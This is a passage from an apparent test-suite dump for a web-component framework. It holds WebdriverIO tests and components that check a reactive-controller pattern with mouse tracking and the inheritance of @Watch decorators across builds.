getTxtHtml(html, 'main-prop-2')).toBe('Main class prop2: main via attr');\n    },\n    ssrViaProps: async (hydrationModule: any) => {\n      const renderToString: HydrateModule['renderToString'] = hydrationModule.renderToString;\n      const { html } = await renderToString(`<${mainTag}></${mainTag}>`, {\n        beforeHydrate: (doc: Document) => {\n          const el = doc.querySelector<any>(mainTag);\n          el.prop1 = 'main via prop';\n          el.prop2 = 'main via prop';\n        },\n      });\n      expect(await getTxtHtml(html, 'main-prop-1')).toBe('Main class prop1: main via prop');\n      expect(await getTxtHtml(html, 'main-prop-2')).toBe('Main class prop2: main via prop');\n    },\n  };\n};\n"
  },
  {
    "path": "test/wdio/ts-target/extends-via-host/cmp.test.ts",
    "content": "import { browser, expect } from '@wdio/globals';\nimport { setupIFrameTest } from '../../util.js';\n\n/**\n * Tests for ReactiveControllerHost pattern - composition-based controllers\n * with automatic lifecycle hooking. Built with\n * `tsconfig-es2022.json` > `\"target\": \"es2022\"` `dist` and `dist-custom-elements` outputs.\n *\n * Test Case #14 - ReactiveControllerHost Pattern\n * This verifies that:\n * 1. Controllers are automatically called during lifecycle events\n * 2. Controllers can trigger component updates via requestUpdate()\n * 3. Multiple controllers can be composed together\n * 4. No super() calls needed for controller lifecycle methods\n */\n\ndescribe('Test Case #14 – ReactiveControllerHost Pattern', () => {\n  describe('es2022 dist output', () => {\n    let frameContent: HTMLElement;\n\n    beforeEach(async () => {\n      frameContent = await setupIFrameTest('/extends-via-host/es2022.dist.html', 'es2022-dist');\n      const frameEle = await browser.$('#es2022-dist');\n      await frameEle.waitUntil(async () => !!frameContent.querySelector('extends-via-host-cmp'), { timeout: 5000 });\n    });\n\n    it('component renders with controller functionality', async () => {\n      const component = frameContent.querySelector('extends-via-host-cmp');\n      expect(component).toBeTruthy();\n\n      const heading = component?.querySelector('h3');\n      expect(heading?.textContent).toBe('The mouse is at:');\n\n      const pre = component?.querySelector('pre');\n      expect(pre).toBeTruthy();\n    });\n\n    it('mouse controller tracks mouse position and updates component', async () => {\n      const component = frameContent.querySelector('extends-via-host-cmp');\n      const pre = component?.querySelector('pre');\n\n      // Get initial position (should be 0, 0)\n      const initialText = pre?.textContent;\n      expect(initialText).toContain('x: 0');\n      expect(initialText).toContain('y: 0');\n\n      // Simulate mouse movement in the iframe\n      const frameEle = await browser.$('#es2022-dist');\n      await frameEle.execute((el) => {\n        const iframe = el as any;\n        const doc = iframe.contentDocument || iframe.contentWindow?.document;\n        if (doc) {\n          // Dispatch mousemove event\n          const mouseEvent = new MouseEvent('mousemove', {\n            clientX: 100,\n            clientY: 200,\n            bubbles: true,\n            cancelable: true,\n          });\n          doc.dispatchEvent(mouseEvent);\n        }\n      });\n\n      // Wait for component to update\n      await browser.waitUntil(\n        () => {\n          const currentText = component?.querySelector('pre')?.textContent;\n          return currentText?.includes('x: 100') && currentText?.includes('y: 200');\n        },\n        {\n          timeout: 2000,\n          timeoutMsg: 'Mouse controller should update component position',\n        },\n      );\n\n      const updatedText = pre?.textContent;\n      expect(updatedText).toContain('x: 100');\n      expect(updatedText).toContain('y: 200');\n    });\n\n    it('controller hostConnected is called automatically', async () => {\n      const frameEle = await browser.$('#es2022-dist');\n\n      // Verify hostConnected was called via test hook (component is already connected in beforeEach)\n      const hostConnectedCalled = await frameEle.execute((el) => {\n        const iframe = el as any;\n        const win = iframe.contentWindow;\n        return (win as any).__mouseControllerConnected || false;\n      });\n      expect(hostConnectedCalled).toBe(true);\n    });\n\n    it('controller hostDisconnected is called when component is removed', async () => {\n      const component = frameContent.querySelector('extends-via-host-cmp');\n      const frameEle = await browser.$('#es2022-dist');\n\n      // Clear any previous test state\n      await frameEle.execute((el) => {\n        const iframe = el as any;\n        const win = iframe.contentWindow;\n        if (win) {\n          (win as any).__mouseControllerDisconnected = false;\n        }\n      });\n\n      // Verify hostDisconnected has not been called yet\n      const initialState = await frameEle.execute((el) => {\n        const iframe = el as any;\n        const win = iframe.contentWindow;\n        return (win as any).__mouseControllerDisconnected || false;\n      });\n      expect(initialState).toBe(false);\n\n      // Remove component from DOM\n      component?.remove();\n\n      // Wait for disconnectedCallback to be called\n      await browser.pause(200);\n\n      // Verify component was removed\n      const removedComponent = frameContent.querySelector('extends-via-host-cmp');\n      expect(removedComponent).toBeFalsy();\n\n      // Verify hostDisconnected was called via test hook\n      const hostDisconnectedCalled = await frameEle.execute((el) => {\n        const iframe = el as any;\n        const win = iframe.contentWindow;\n        return (win as any).__mouseControllerDisconnected || false;\n      });\n      expect(hostDisconnectedCalled).toBe(true);\n    });\n  });\n\n  describe('es2022 dist-custom-elements output', () => {\n    let frameContent: HTMLElement;\n\n    beforeEach(async () => {\n      frameContent = await setupIFrameTest('/extends-via-host/es2022.custom-element.html', 'es2022-custom-elements');\n      const frameEle = await browser.$('iframe#es2022-custom-elements');\n      await frameEle.waitUntil(async () => !!frameContent.querySelector('extends-via-host-cmp'), { timeout: 5000 });\n    });\n\n    it('mouse controller updates work in custom elements build', async () => {\n      const component = frameContent.querySelector('extends-via-host-cmp');\n      const pre = component?.querySelector('pre');\n\n      // Move mouse\n      const frameEle = await browser.$('iframe#es2022-custom-elements');\n      await frameEle.execute((el) => {\n        const iframe = el as any;\n        const doc = iframe.contentDocument || iframe.contentWindow?.document;\n        if (doc) {\n          const mouseEvent = new MouseEvent('mousemove', {\n            clientX: 150,\n            clientY: 250,\n            bubbles: true,\n          });\n          doc.dispatchEvent(mouseEvent);\n        }\n      });\n\n      // Wait for update\n      await browser.waitUntil(\n        () => {\n          const currentText = component?.querySelector('pre')?.textContent;\n          return currentText?.includes('x: 150') && currentText?.includes('y: 250');\n        },\n        {\n          timeout: 2000,\n          timeoutMsg: 'Mouse controller should work in custom elements build',\n        },\n      );\n    });\n  });\n});\n"
  },
  {
    "path": "test/wdio/ts-target/extends-via-host/cmp.tsx",
    "content": "import { Component, h, Host, State } from '@stencil/core';\nimport { ReactiveControllerHost } from './reactive-controller-host.js';\nimport { MouseController } from './mouse-controller.js';\n\n@Component({\n  tag: 'extends-via-host-cmp',\n  scoped: true,\n  styles: `\n    :host {\n      display: block;\n    }\n  `,\n})\nexport class MyComponent extends ReactiveControllerHost {\n  private mouse = new MouseController(this);\n\n  // Track lifecycle calls for testing\n  @State() lifecycleCalls: string[] = [];\n\n  componentWillLoad() {\n    super.componentWillLoad(); // Call base class to trigger controllers\n    this.lifecycleCalls = [...this.lifecycleCalls, 'componentWillLoad'];\n  }\n\n  componentDidLoad() {\n    super.componentDidLoad(); // Call base class to trigger controllers\n    this.lifecycleCalls = [...this.lifecycleCalls, 'componentDidLoad'];\n  }\n\n  render() {\n    return (\n      <Host>\n        <h3>The mouse is at:</h3>\n        <pre class=\"mouse-position\">\n          x: {this.mouse.pos.x as number}\n          y: {this.mouse.pos.y as number}\n        </pre>\n        <div class=\"lifecycle-info\" style={{ display: 'none' }}>\n          Lifecycle calls: {this.lifecycleCalls.join(', ')}\n        </div>\n      </Host>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/ts-target/extends-via-host/es2022.custom-element.html",
    "content": "<html>\n<head>\n  <title>ES2022 dist-custom-elements output</title>\n  <script type=\"module\">\n    import { defineCustomElement } from '/test-ts-target-output/custom-elements/extends-via-host-cmp.js';\n    defineCustomElement()\n  </script>\n</head>\n<body>\n  <h1>ES2022 dist-custom-elements output</h1>\n  <extends-via-host-cmp></extends-via-host-cmp>\n</body>\n</html>\n\n"
  },
  {
    "path": "test/wdio/ts-target/extends-via-host/es2022.dist.html",
    "content": "<html>\n<head>\n  <title>ES2022 dist output</title>\n  <script src=\"/test-ts-target-output/dist/testtstarget/testtstarget.esm.js\" type=\"module\"></script>\n</head>\n<body>\n  <h1>ES2022 dist output</h1>\n  <extends-via-host-cmp></extends-via-host-cmp>\n</body>\n</html>\n\n"
  },
  {
    "path": "test/wdio/ts-target/extends-via-host/mouse-controller.ts",
    "content": "import type { ReactiveControllerHost, ReactiveController } from './reactive-controller-host.js';\n\nexport class MouseController implements ReactiveController {\n  constructor(host: ReactiveControllerHost) {\n    this.host = host;\n    host.addController(this);\n  }\n\n  private host: ReactiveControllerHost;\n  pos = { x: 0, y: 0 };\n\n  // Test hooks to verify lifecycle methods were called\n  _hostConnectedCalled = false;\n  _hostDisconnectedCalled = false;\n\n  _onMouseMove = ({ clientX, clientY }: MouseEvent) => {\n    this.pos = { x: clientX, y: clientY };\n    this.host.requestUpdate();\n  };\n\n  hostConnected() {\n    this._hostConnectedCalled = true;\n    // Store in window for test verification\n    (window as any).__mouseControllerConnected = true;\n    window.addEventListener('mousemove', this._onMouseMove);\n  }\n\n  hostDisconnected() {\n    this._hostDisconnectedCalled = true;\n    // Store in window for test verification (component may be removed from DOM)\n    (window as any).__mouseControllerDisconnected = true;\n    window.removeEventListener('mousemove', this._onMouseMove);\n  }\n}\n"
  },
  {
    "path": "test/wdio/ts-target/extends-via-host/reactive-controller-host.ts",
    "content": "import { forceUpdate, ComponentInterface } from '@stencil/core';\n\nexport interface ReactiveController {\n  hostConnected?(): void;\n  hostDisconnected?(): void;\n  hostWillLoad?(): Promise<void> | void;\n  hostDidLoad?(): void;\n  hostWillRender?(): Promise<void> | void;\n  hostDidRender?(): void;\n  hostWillUpdate?(): Promise<void> | void;\n  hostDidUpdate?(): void;\n}\n\nexport class ReactiveControllerHost implements ComponentInterface {\n  controllers = new Set<ReactiveController>();\n\n  addController(controller: ReactiveController) {\n    this.controllers.add(controller);\n  }\n\n  removeController(controller: ReactiveController) {\n    this.controllers.delete(controller);\n  }\n\n  requestUpdate() {\n    forceUpdate(this);\n  }\n\n  connectedCallback() {\n    this.controllers.forEach((controller) => controller.hostConnected?.());\n  }\n\n  disconnectedCallback() {\n    this.controllers.forEach((controller) => controller.hostDisconnected?.());\n  }\n\n  componentWillLoad() {\n    this.controllers.forEach((controller) => controller.hostWillLoad?.());\n  }\n\n  componentDidLoad() {\n    this.controllers.forEach((controller) => controller.hostDidLoad?.());\n  }\n\n  componentWillRender() {\n    this.controllers.forEach((controller) => controller.hostWillRender?.());\n  }\n\n  componentDidRender() {\n    this.controllers.forEach((controller) => controller.hostDidRender?.());\n  }\n\n  componentWillUpdate() {\n    this.controllers.forEach((controller) => controller.hostWillUpdate?.());\n  }\n\n  componentDidUpdate() {\n    this.controllers.forEach((controller) => controller.hostDidUpdate?.());\n  }\n}\n"
  },
  {
    "path": "test/wdio/ts-target/extends-watch/cmp.test.ts",
    "content": "import { browser, expect } from '@wdio/globals';\nimport { setupIFrameTest } from '../../util.js';\n\n/**\n * Tests for @Watch decorator inheritance through extends.\n * Built with `tsconfig-es2022.json` > `\"target\": \"es2022\"` `dist` and `dist-custom-elements` outputs.\n *\n * Test Case #11 - Watch Decorator Inheritance\n * Features:\n * - @Watch decorator inheritance from base class\n * - Multiple @Watch decorators for same property at different inheritance levels\n * - Watch execution order (base class first, component second)\n * - Reactive property chains (watch handlers triggering other property changes)\n * - Watch handler override behavior (when base and component both watch same property)\n */\n\ndescribe('Test Case #11 – Watch Decorator Inheritance (@Watch decorators)', () => {\n  describe('es2022 dist output', () => {\n    let frameContent: HTMLElement;\n\n    beforeEach(async () => {\n      frameContent = await setupIFrameTest('/extends-watch/es2022.dist.html', 'es2022-dist');\n      const frameEle = await browser.$('#es2022-dist');\n      await frameEle.waitUntil(async () => !!frameContent.querySelector('.watch-info'), { timeout: 5000 });\n\n      // Reset state before each test\n      const component = frameContent.querySelector<any>('extends-watch');\n      await component.resetWatchLogs();\n    });\n\n    it('inherits base class @Watch decorator for baseProp', async () => {\n      const component = frameContent.querySelector<any>('extends-watch');\n      const button = frameContent.querySelector('.update-base-prop') as HTMLButtonElement;\n      const baseWatchCountEl = frameContent.querySelector('.base-watch-count');\n\n      // Get initial count from DOM\n      const initialText = baseWatchCountEl?.textContent || '';\n      const initialMatch = initialText.match(/Base Watch Calls: (\\d+)/);\n      const initialCount = initialMatch ? parseInt(initialMatch[1], 10) : 0;\n\n      // Trigger property change\n      button?.click();\n\n      // Wait for watch handler to be called and DOM to update\n      await browser.waitUntil(\n        async () => {\n          const updatedText = baseWatchCountEl?.textContent || '';\n          const updatedMatch = updatedText.match(/Base Watch Calls: (\\d+)/);\n          const updatedCount = updatedMatch ? parseInt(updatedMatch[1], 10) : 0;\n          return updatedCount > initialCount;\n        },\n        { timeout: 3000 },\n      );\n\n      // Verify watch handler was called\n      const finalText = baseWatchCountEl?.textContent || '';\n      const finalMatch = finalText.match(/Base Watch Calls: (\\d+)/);\n      const finalCount = finalMatch ? parseInt(finalMatch[1], 10) : 0;\n      expect(finalCount).toBeGreaterThan(initialCount);\n\n      // Verify watch log contains entry\n      const watchLog = frameContent.querySelector('#watch-log-list');\n      expect(watchLog?.textContent).toContain('basePropChanged');\n    });\n\n    it('inherits base class @Watch decorator for baseCount', async () => {\n      const component = frameContent.querySelector<any>('extends-watch');\n      const button = frameContent.querySelector('.update-base-count') as HTMLButtonElement;\n      const baseWatchCountEl = frameContent.querySelector('.base-watch-count');\n\n      const initialText = baseWatchCountEl?.textContent || '';\n      const initialMatch = initialText.match(/Base Watch Calls: (\\d+)/);\n      const initialCount = initialMatch ? parseInt(initialMatch[1], 10) : 0;\n\n      button?.click();\n\n      await browser.waitUntil(\n        async () => {\n          const updatedText = baseWatchCountEl?.textContent || '';\n          const updatedMatch = updatedText.match(/Base Watch Calls: (\\d+)/);\n          const updatedCount = updatedMatch ? parseInt(updatedMatch[1], 10) : 0;\n          return updatedCount > initialCount;\n        },\n        { timeout: 3000 },\n      );\n\n      const finalText = baseWatchCountEl?.textContent || '';\n      const finalMatch = finalText.match(/Base Watch Calls: (\\d+)/);\n      const finalCount = finalMatch ? parseInt(finalMatch[1], 10) : 0;\n      expect(finalCount).toBeGreaterThan(initialCount);\n\n      const watchLog = frameContent.querySelector('#watch-log-list');\n      expect(watchLog?.textContent).toContain('baseCountChanged');\n    });\n\n    it('inherits base class @Watch decorator for baseState', async () => {\n      const component = frameContent.querySelector<any>('extends-watch');\n      const button = frameContent.querySelector('.update-base-state') as HTMLButtonElement;\n      const baseWatchCountEl = frameContent.querySelector('.base-watch-count');\n\n      const initialText = baseWatchCountEl?.textContent || '';\n      const initialMatch = initialText.match(/Base Watch Calls: (\\d+)/);\n      const initialCount = initialMatch ? parseInt(initialMatch[1], 10) : 0;\n\n      button?.click();\n\n      await browser.waitUntil(\n        async () => {\n          const updatedText = baseWatchCountEl?.textContent || '';\n          const updatedMatch = updatedText.match(/Base Watch Calls: (\\d+)/);\n          const updatedCount = updatedMatch ? parseInt(updatedMatch[1], 10) : 0;\n          return updatedCount > initialCount;\n        },\n        { timeout: 3000 },\n      );\n\n      const finalText = baseWatchCountEl?.textContent || '';\n      const finalMatch = finalText.match(/Base Watch Calls: (\\d+)/);\n      const finalCount = finalMatch ? parseInt(finalMatch[1], 10) : 0;\n      expect(finalCount).toBeGreaterThan(initialCount);\n\n      const watchLog = frameContent.querySelector('#watch-log-list');\n      expect(watchLog?.textContent).toContain('baseStateChanged');\n    });\n\n    it('handles child class @Watch decorator for childProp', async () => {\n      const component = frameContent.querySelector<any>('extends-watch');\n      const button = frameContent.querySelector('.update-child-prop') as HTMLButtonElement;\n      const childWatchCountEl = frameContent.querySelector('.child-watch-count');\n\n      const initialText = childWatchCountEl?.textContent || '';\n      const initialMatch = initialText.match(/Child Watch Calls: (\\d+)/);\n      const initialCount = initialMatch ? parseInt(initialMatch[1], 10) : 0;\n\n      button?.click();\n\n      await browser.waitUntil(\n        async () => {\n          const updatedText = childWatchCountEl?.textContent || '';\n          const updatedMatch = updatedText.match(/Child Watch Calls: (\\d+)/);\n          const updatedCount = updatedMatch ? parseInt(updatedMatch[1], 10) : 0;\n          return updatedCount > initialCount;\n        },\n        { timeout: 3000 },\n      );\n\n      const finalText = childWatchCountEl?.textContent || '';\n      const finalMatch = finalText.match(/Child Watch Calls: (\\d+)/);\n      const finalCount = finalMatch ? parseInt(finalMatch[1], 10) : 0;\n      expect(finalCount).toBeGreaterThan(initialCount);\n\n      const watchLog = frameContent.querySelector('#watch-log-list');\n      expect(watchLog?.textContent).toContain('childPropChanged');\n    });\n\n    it('executes watch handlers in correct order: base first, then child', async () => {\n      const component = frameContent.querySelector<any>('extends-watch');\n      const button = frameContent.querySelector('.update-base-prop') as HTMLButtonElement;\n\n      // Reset logs to start fresh\n      await component.resetWatchLogs();\n\n      // Trigger property change that both base and child watch\n      button?.click();\n\n      // Wait for watch handlers to execute\n      await browser.pause(500);\n\n      // Get watch log\n      const watchLog = frameContent.querySelector('#watch-log-list');\n      const logContent = watchLog?.textContent || '';\n\n      // Find positions of base and child handlers\n      const basePropIndex = logContent.indexOf('basePropChanged');\n      const childBasePropIndex = logContent.indexOf('childBasePropChanged');\n\n      // Base handler should execute before child handler\n      expect(basePropIndex).toBeGreaterThan(-1);\n      expect(childBasePropIndex).toBeGreaterThan(-1);\n      expect(basePropIndex).toBeLessThan(childBasePropIndex);\n    });\n\n    it('child override watch handler takes precedence over base', async () => {\n      const component = frameContent.querySelector<any>('extends-watch');\n      const button = frameContent.querySelector('.update-override-prop') as HTMLButtonElement;\n      const watchLog = frameContent.querySelector('#watch-log-list');\n\n      // Reset logs\n      await component.resetWatchLogs();\n\n      // Get initial log content\n      const initialLogContent = watchLog?.textContent || '';\n\n      button?.click();\n\n      // Wait for watch processing and DOM update\n      await browser.waitUntil(\n        async () => {\n          const updatedLogContent = watchLog?.textContent || '';\n          return updatedLogContent.length > initialLogContent.length;\n        },\n        { timeout: 3000 },\n      );\n\n      // Verify child handler was called (override behavior)\n      const finalLogContent = watchLog?.textContent || '';\n      expect(finalLogContent).toContain('overridePropChanged:child');\n\n      // Verify base handler was NOT called (override takes precedence)\n      const baseOverrideMatches = (finalLogContent.match(/overridePropChanged:base/g) || []).length;\n      const initialBaseOverrideMatches = (initialLogContent.match(/overridePropChanged:base/g) || []).length;\n      expect(baseOverrideMatches).toBe(initialBaseOverrideMatches);\n    });\n\n    it('reactive property chains work: baseProp change triggers baseState change', async () => {\n      const component = frameContent.querySelector<any>('extends-watch');\n      const button = frameContent.querySelector('.update-base-prop') as HTMLButtonElement;\n      const baseStateEl = frameContent.querySelector('.base-state-value');\n\n      // Get initial state value\n      const initialText = baseStateEl?.textContent || '';\n\n      button?.click();\n\n      // Wait for reactive chain to update baseState\n      await browser.waitUntil(\n        async () => {\n          const updatedText = baseStateEl?.textContent || '';\n          return updatedText !== initialText && updatedText.includes('state updated by baseProp');\n        },\n        { timeout: 3000 },\n      );\n\n      // Verify baseState was updated by watch handler\n      const finalText = baseStateEl?.textContent || '';\n      expect(finalText).toContain('state updated by baseProp');\n    });\n\n    it('reactive property chains work: baseCount change triggers baseChainCount change', async () => {\n      const component = frameContent.querySelector<any>('extends-watch');\n      const button = frameContent.querySelector('.update-base-count') as HTMLButtonElement;\n      const baseChainCountEl = frameContent.querySelector('.base-chain-count');\n\n      button?.click();\n\n      // Wait for reactive chain to update baseChainCount\n      await browser.waitUntil(\n        async () => {\n          const chainCountText = baseChainCountEl?.textContent || '';\n          const match = chainCountText.match(/Base Chain Count: (\\d+)/);\n          const count = match ? parseInt(match[1], 10) : 0;\n          return count === 10; // baseCount (5) * 2 = 10\n        },\n        { timeout: 3000 },\n      );\n\n      const finalText = baseChainCountEl?.textContent || '';\n      expect(finalText).toContain('Base Chain Count: 10');\n    });\n\n    it('reactive property chains work: baseCounter change triggers baseChainTriggered', async () => {\n      const component = frameContent.querySelector<any>('extends-watch');\n      const button = frameContent.querySelector('.update-base-counter') as HTMLButtonElement;\n      const baseChainTriggeredEl = frameContent.querySelector('.base-chain-triggered');\n\n      // Reset first\n      await component.resetWatchLogs();\n\n      button?.click();\n\n      // Wait for reactive chain to update baseChainTriggered\n      await browser.waitUntil(\n        async () => {\n          const chainText = baseChainTriggeredEl?.textContent || '';\n          return chainText.includes('Base Chain Triggered: true');\n        },\n        { timeout: 3000 },\n      );\n\n      const finalText = baseChainTriggeredEl?.textContent || '';\n      expect(finalText).toContain('Base Chain Triggered: true');\n    });\n\n    it('reactive property chains work: childProp change triggers childState change', async () => {\n      const component = frameContent.querySelector<any>('extends-watch');\n      const button = frameContent.querySelector('.update-child-prop') as HTMLButtonElement;\n      const childStateEl = frameContent.querySelector('.child-state-value');\n\n      const initialText = childStateEl?.textContent || '';\n\n      button?.click();\n\n      // Wait for reactive chain to update childState\n      await browser.waitUntil(\n        async () => {\n          const updatedText = childStateEl?.textContent || '';\n          return updatedText !== initialText && updatedText.includes('state updated by childProp');\n        },\n        { timeout: 3000 },\n      );\n\n      const finalText = childStateEl?.textContent || '';\n      expect(finalText).toContain('state updated by childProp');\n    });\n\n    it('reactive property chains work: childCounter change triggers childChainTriggered', async () => {\n      const component = frameContent.querySelector<any>('extends-watch');\n      const button = frameContent.querySelector('.update-child-counter') as HTMLButtonElement;\n      const childChainTriggeredEl = frameContent.querySelector('.child-chain-triggered');\n\n      // Reset first\n      await component.resetWatchLogs();\n\n      button?.click();\n\n      // Wait for reactive chain to update childChainTriggered\n      await browser.waitUntil(\n        async () => {\n          const chainText = childChainTriggeredEl?.textContent || '';\n          return chainText.includes('Child Chain Triggered: true');\n        },\n        { timeout: 3000 },\n      );\n\n      const finalText = childChainTriggeredEl?.textContent || '';\n      expect(finalText).toContain('Child Chain Triggered: true');\n    });\n\n    it('tracks watch calls in combined watch log', async () => {\n      const totalWatchCountEl = frameContent.querySelector('.total-watch-count');\n      const watchLog = frameContent.querySelector('#watch-log-list');\n\n      // Trigger multiple property changes\n      const basePropBtn = frameContent.querySelector('.update-base-prop') as HTMLButtonElement;\n      const childPropBtn = frameContent.querySelector('.update-child-prop') as HTMLButtonElement;\n      const baseCountBtn = frameContent.querySelector('.update-base-count') as HTMLButtonElement;\n\n      basePropBtn?.click();\n      await browser.pause(200);\n      childPropBtn?.click();\n      await browser.pause(200);\n      baseCountBtn?.click();\n\n      // Wait for all watch handlers to process - wait for baseCountChanged to appear in log\n      await browser.waitUntil(\n        async () => {\n          const logContent = watchLog?.textContent || '';\n          return (\n            logContent.includes('basePropChanged') &&\n            logContent.includes('childPropChanged') &&\n            logContent.includes('baseCountChanged')\n          );\n        },\n        { timeout: 3000 },\n      );\n\n      const finalLogContent = watchLog?.textContent || '';\n\n      expect(finalLogContent).toContain('basePropChanged');\n      expect(finalLogContent).toContain('childPropChanged');\n      expect(finalLogContent).toContain('baseCountChanged');\n    });\n\n    it('increment operations trigger watch handlers', async () => {\n      const component = frameContent.querySelector<any>('extends-watch');\n      const button = frameContent.querySelector('.increment-base-count') as HTMLButtonElement;\n      const baseWatchCountEl = frameContent.querySelector('.base-watch-count');\n      const baseCountEl = frameContent.querySelector('.base-count-value');\n\n      // Get initial values\n      const initialWatchText = baseWatchCountEl?.textContent || '';\n      const initialWatchMatch = initialWatchText.match(/Base Watch Calls: (\\d+)/);\n      const initialWatchCount = initialWatchMatch ? parseInt(initialWatchMatch[1], 10) : 0;\n\n      const initialCountText = baseCountEl?.textContent || '';\n      const initialCountMatch = initialCountText.match(/Base Count: (\\d+)/);\n      const initialCount = initialCountMatch ? parseInt(initialCountMatch[1], 10) : 0;\n\n      button?.click();\n\n      // Wait for watch handler to be called\n      await browser.waitUntil(\n        async () => {\n          const updatedWatchText = baseWatchCountEl?.textContent || '';\n          const updatedWatchMatch = updatedWatchText.match(/Base Watch Calls: (\\d+)/);\n          const updatedWatchCount = updatedWatchMatch ? parseInt(updatedWatchMatch[1], 10) : 0;\n          return updatedWatchCount > initialWatchCount;\n        },\n        { timeout: 3000 },\n      );\n\n      // Verify count was incremented\n      const finalCountText = baseCountEl?.textContent || '';\n      const finalCountMatch = finalCountText.match(/Base Count: (\\d+)/);\n      const finalCount = finalCountMatch ? parseInt(finalCountMatch[1], 10) : 0;\n      expect(finalCount).toBe(initialCount + 1);\n    });\n  });\n\n  describe('es2022 custom-element output', () => {\n    let frameContent: HTMLElement;\n\n    beforeEach(async () => {\n      frameContent = await setupIFrameTest('/extends-watch/es2022.custom-element.html', 'es2022-custom-elements');\n      const frameEle = await browser.$('iframe#es2022-custom-elements');\n      await frameEle.waitUntil(async () => !!frameContent.querySelector('.watch-info'), { timeout: 5000 });\n    });\n\n    it('inherits @Watch decorators in custom elements build', async () => {\n      const component = frameContent.querySelector<any>('extends-watch');\n      const button = frameContent.querySelector('.update-base-prop') as HTMLButtonElement;\n\n      const initialCount = component?.baseWatchCallCount || 0;\n\n      button?.click();\n\n      await browser.waitUntil(\n        async () => {\n          const count = component?.baseWatchCallCount || 0;\n          return count > initialCount;\n        },\n        { timeout: 3000 },\n      );\n\n      const finalCount = component?.baseWatchCallCount || 0;\n      expect(finalCount).toBeGreaterThan(initialCount);\n    });\n\n    it('handles child @Watch decorators in custom elements build', async () => {\n      const component = frameContent.querySelector<any>('extends-watch');\n      const button = frameContent.querySelector('.update-child-prop') as HTMLButtonElement;\n\n      const initialCount = component?.childWatchCallCount || 0;\n\n      button?.click();\n\n      await browser.waitUntil(\n        async () => {\n          const count = component?.childWatchCallCount || 0;\n          return count > initialCount;\n        },\n        { timeout: 3000 },\n      );\n\n      const finalCount = component?.childWatchCallCount || 0;\n      expect(finalCount).toBeGreaterThan(initialCount);\n    });\n\n    it('watch handler override works in custom elements build', async () => {\n      const component = frameContent.querySelector<any>('extends-watch');\n      const button = frameContent.querySelector('.update-override-prop') as HTMLButtonElement;\n\n      // Reset logs\n      await component.resetWatchLogs();\n\n      const initialChildCount = component?.childWatchCallCount || 0;\n      const initialBaseCount = component?.baseWatchCallCount || 0;\n\n      button?.click();\n\n      await browser.waitUntil(\n        async () => {\n          const childCount = component?.childWatchCallCount || 0;\n          return childCount > initialChildCount;\n        },\n        { timeout: 3000 },\n      );\n\n      // Child handler should be called\n      const finalChildCount = component?.childWatchCallCount || 0;\n      expect(finalChildCount).toBeGreaterThan(initialChildCount);\n\n      // Base handler should NOT be called (override behavior)\n      const finalBaseCount = component?.baseWatchCallCount || 0;\n      expect(finalBaseCount).toBe(initialBaseCount);\n    });\n  });\n});\n"
  },
  {
    "path": "test/wdio/ts-target/extends-watch/cmp.tsx",
    "content": "import { Component, Element, h, Method, Prop, State, Watch } from '@stencil/core';\nimport { WatchBase } from './watch-base.js';\n\n/**\n * WatchCmp - Demonstrates @Watch decorator inheritance\n *\n * This component:\n * 1. Extends WatchBase (inherits base @Watch decorators)\n * 2. Adds additional @Watch decorators\n * 3. Overrides base watch handler (overrideProp)\n * 4. Demonstrates watch execution order\n * 5. Demonstrates reactive property chains\n */\n@Component({\n  tag: 'extends-watch',\n})\nexport class WatchCmp extends WatchBase {\n  @Element() el!: HTMLElement;\n\n  // Child-specific properties with watch decorators\n  @Prop() childProp: string = 'child prop initial';\n  @State() childState: string = 'child state initial';\n  @State() childCounter: number = 0;\n\n  // Track child watch handler execution\n  @State() childWatchLog: string[] = [];\n  @State() childWatchCallCount: number = 0;\n\n  // Additional reactive chain property\n  @State() childChainTriggered: boolean = false;\n\n  // Watch childProp - child-specific watch handler\n  @Watch('childProp')\n  childPropChanged(newValue: string, oldValue: string) {\n    this.childWatchLog.push(`childPropChanged:${oldValue}->${newValue}`);\n    this.childWatchCallCount++;\n\n    // Reactive chain: update childState\n    this.childState = `state updated by childProp: ${newValue}`;\n  }\n\n  // Watch childState - child-specific watch handler\n  @Watch('childState')\n  childStateChanged(newValue: string, oldValue: string) {\n    this.childWatchLog.push(`childStateChanged:${oldValue}->${newValue}`);\n    this.childWatchCallCount++;\n  }\n\n  // Watch childCounter - child-specific watch handler\n  @Watch('childCounter')\n  childCounterChanged(newValue: number, oldValue: number) {\n    this.childWatchLog.push(`childCounterChanged:${oldValue}->${newValue}`);\n    this.childWatchCallCount++;\n\n    // Reactive chain: trigger childChainTriggered\n    if (newValue > 0) {\n      this.childChainTriggered = true;\n    }\n  }\n\n  // Override base watch handler - child version takes precedence\n  @Watch('overrideProp')\n  overridePropChanged(newValue: string, oldValue: string) {\n    this.childWatchLog.push(`overridePropChanged:child:${oldValue}->${newValue}`);\n    this.childWatchCallCount++;\n    // Note: base handler should NOT be called - this is override behavior\n  }\n\n  // Also watch baseProp in child (multiple @Watch decorators for same property at different levels)\n  @Watch('baseProp')\n  childBasePropChanged(newValue: string, oldValue: string) {\n    this.childWatchLog.push(`childBasePropChanged:${oldValue}->${newValue}`);\n    this.childWatchCallCount++;\n    // This should execute AFTER base handler (execution order test)\n  }\n\n  // Methods to trigger property changes for testing\n  @Method()\n  async updateBaseProp(value: string) {\n    this.baseProp = value;\n  }\n\n  @Method()\n  async updateBaseCount(value: number) {\n    this.baseCount = value;\n  }\n\n  @Method()\n  async updateBaseState(value: string) {\n    this.baseState = value;\n  }\n\n  @Method()\n  async updateBaseCounter(value: number) {\n    this.baseCounter = value;\n  }\n\n  @Method()\n  async updateOverrideProp(value: string) {\n    this.overrideProp = value;\n  }\n\n  @Method()\n  async updateChildProp(value: string) {\n    this.childProp = value;\n  }\n\n  @Method()\n  async updateChildCounter(value: number) {\n    this.childCounter = value;\n  }\n\n  @Method()\n  async incrementBaseCount() {\n    this.baseCount++;\n  }\n\n  @Method()\n  async incrementBaseCounter() {\n    this.baseCounter++;\n  }\n\n  @Method()\n  async incrementChildCounter() {\n    this.childCounter++;\n  }\n\n  // Expose base class methods for testing\n  getBaseWatchLog(): string[] {\n    return super.getWatchLog();\n  }\n\n  // Get combined watch log\n  getCombinedWatchLog(): string[] {\n    return [...this.baseWatchLog, ...this.childWatchLog];\n  }\n\n  // Reset all watch tracking\n  @Method()\n  async resetWatchLogs() {\n    super.resetWatchLog();\n    this.childWatchLog = [];\n    this.childWatchCallCount = 0;\n    this.childChainTriggered = false;\n  }\n\n  render() {\n    const combinedLog = 